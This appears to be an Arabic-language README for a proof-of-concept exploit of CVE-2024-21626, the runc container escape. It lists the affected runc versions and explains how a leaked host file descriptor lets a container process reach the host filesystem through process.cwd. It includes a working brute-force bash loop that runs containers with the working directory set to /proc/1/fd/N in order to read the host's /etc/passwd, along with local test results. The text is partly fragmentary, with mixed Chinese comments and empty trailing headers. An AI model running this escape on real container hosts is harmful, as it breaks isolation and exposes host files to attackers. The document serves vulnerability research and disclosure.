
CVE-2024-21626-poc-بحث-إعادة-الظهور-والمهام
الاستغلال:
docker-compose up
التحقق: إذا تم الحصول على /etc/passwd من المضيف، فإن الثغرة موجودة.
البيئة: runc: >=v1.0.0-rc93, <=1.1.11
تفاصيل الهجوم والمبدأ: في الإصدارات المتأثرة من runc، بسبب تسريب بعض واصفات الملفات الداخلية أثناء التهيئة، بما في ذلك مقبض /sys/fs/cgroup الخاص بالمضيف، ولم يتحقق runc مما إذا كان دليل العمل النهائي يقع داخل مساحة الاسم الخاصة بالحاوية. يمكن للمهاجم تعديل تكوين process.cwd إلى /proc/self/fd/7 أو استبدال المسار المحدد الذي تم تمريره في معلمة --cwd عند استدعاء runc exec من المضيف برابط رمزي /proc/self/fd/7/، مما يسمح للعمليات داخل الحاوية بالوصول إلى نظام ملفات المضيف والتعامل معه، وبالتالي تجاوز آلية العزل الخاصة بالحاوية. مزيد من التفاصيل (صور gif):

CVE: CVE - CVE-2024-21626 (mitre.org)
مكتشف الثغرة: CVE-2024-21626 runc process.cwd واختراق الحاوية عبر واصفات الملفات المسربة | Snyk (snyk.io)

قد يتغير واصف الملف الفعلي (fd) وفقًا لترتيب فتح الملفات. يمكن استخدام السكربت التالي للتفجير (brute force).
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
الاختبار المحلي ناجح:
تم تحقيقه عبر fd/9 مع runc-version: 1.1.10 و1.1.2

عندما يكون runc --version 1.0.0:

عندما يكون runc --version 1.1.4: تم تحقيقه عبر fd/8

ثغرة تم الكشف عنها اليوم فيما يلي تفاصيل إضافية
يمكن إعادة إنتاجها بالطرق التالية:
مهام مستقبلية: runc 断点获取df好实现自动化